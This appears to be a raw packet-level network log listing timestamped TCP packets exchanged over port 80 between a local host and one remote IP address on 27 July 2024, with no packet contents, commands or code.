Jul 27, 2024 09:25:06.831753969 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.831775904 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.831787109 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.831808090 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.831820965 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.831841946 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.831854105 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.831873894 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.831883907 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.831912994 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.831927061 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.831974030 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.831986904 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.832007885 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.832019091 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.832041979 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.832051039 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.832077026 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.832087040 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.832109928 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.832118988 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.832143068 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.832173109 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.832175970 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.832190037 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.832207918 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.832211018 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.832241058 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.832254887 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.832274914 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.832287073 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.832307100 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.832312107 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.832343102 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.832349062 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.832376957 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.832389116 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.832408905 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.832418919 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.832442045 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.832453966 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.832475901 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.832496881 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.832528114 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.832540989 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.832592010 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.832603931 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.832637072 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.832649946 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.832670927 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.832680941 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.832704067 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.832710028 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.832736015 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.832746029 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.832772017 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.832776070 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.832807064 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.832822084 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.832840919 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.832853079 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.832873106 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.832885027 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.832906008 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.832916975 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.832938910 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.832947016 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.832973003 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.832988024 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.833005905 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.833013058 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.833045959 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.833053112 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.833080053 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.833095074 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.833101988 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.833111048 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.833121061 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.833127022 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.833141088 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.833141088 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.833153009 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.833158970 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.833170891 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.833174944 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.833190918 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.833195925 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.833195925 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.833204985 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.833220959 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.833220959 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.833220959 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.833235979 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.833244085 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.833251953 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.833267927 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.833278894 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.833278894 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.833282948 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.833301067 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.833317995 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.833318949 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.922343016 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.922411919 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.922447920 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.922481060 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.922514915 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.922574043 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.922606945 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.922606945 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.922606945 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.922626972 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.922657967 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.922662020 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.922666073 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.922696114 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.922705889 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.922729015 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.922736883 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.922763109 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.922770023 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.922806025 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.922815084 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.922823906 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.922840118 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.922847986 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.922854900 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.922866106 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.922868967 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.922884941 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.922888041 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.922899961 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.922909975 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.922909975 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.922914982 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.922929049 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.922930002 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.922947884 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.922955990 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.922955990 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.922975063 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.922990084 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.922995090 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.923008919 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.923022985 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.923031092 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.923038960 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.923052073 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.923054934 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.923069954 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.923074007 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.923085928 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.923100948 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.923100948 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.923100948 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.923116922 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.923125982 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.923125982 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.923134089 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.923145056 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.923157930 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.923170090 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.923170090 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.923172951 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.923190117 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.923194885 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.923206091 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.923214912 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.923229933 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.923250914 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.923306942 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.923321962 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.923350096 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.923368931 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.923387051 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.923402071 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.923417091 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.923428059 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.923430920 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.923446894 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.923455000 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.923455000 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.923463106 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.923482895 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.923482895 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.923500061 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.923521996 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.923553944 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.923563957 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.923578024 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.923592091 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.923599958 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.923607111 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.923619032 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.923623085 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.923639059 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.923640013 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.923639059 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.923656940 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.923665047 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.923680067 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.923695087 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.923804998 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.923845053 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.923978090 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.923994064 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.924009085 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.924024105 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.924024105 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.924024105 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.924040079 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.924055099 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.924060106 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.924071074 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.924078941 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.924086094 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.924098015 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.924103022 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.924117088 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.924138069 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.924138069 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.924325943 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.924350023 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.924365044 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.924371958 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.924380064 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.924391985 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.924396992 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.924407005 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.924412012 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.924426079 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.924427032 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.924453020 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.924453020 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.924458027 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.924470901 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.924474001 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.924499989 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.924515009 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.924520969 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.924520969 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.924530029 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.924546003 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.924546003 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.924561977 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.924577951 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.924592018 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.924597025 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.924597979 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.924597979 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.924597979 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.924608946 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.924633026 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.924633026 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.924649954 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.925033092 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.925049067 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.925072908 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.925077915 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.925088882 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.925097942 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.925105095 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.925117970 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.925120115 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.925136089 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.925143957 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.925143957 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.925151110 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.925163031 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.925165892 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.925180912 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.925189972 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.925189972 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.925196886 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.925209999 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.925214052 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.925230026 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.925235033 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.925235033 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.925245047 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.925256014 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.925260067 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.925286055 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.925286055 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.925302982 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.925529003 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.925543070 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.925570965 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.925602913 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.925700903 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.925718069 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.925733089 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.925745010 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.925749063 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.925764084 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.925765991 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.925765991 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.925779104 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.925790071 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.925795078 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.925805092 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.925810099 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.925827026 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.925831079 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.925831079 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.925843000 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.925851107 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.925857067 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.925868034 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.925873041 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.925887108 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.925888062 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.925905943 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.925913095 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.925913095 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.925940990 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.925941944 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.926172018 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.926187038 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.926202059 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.926208973 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.926217079 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.926229000 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.926234007 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.926244020 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.926249981 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.926261902 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.926265955 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.926287889 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.926287889 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.926316977 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.015100956 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.015172958 CEST	80	49704	85.28.47.31	192.168.2.5
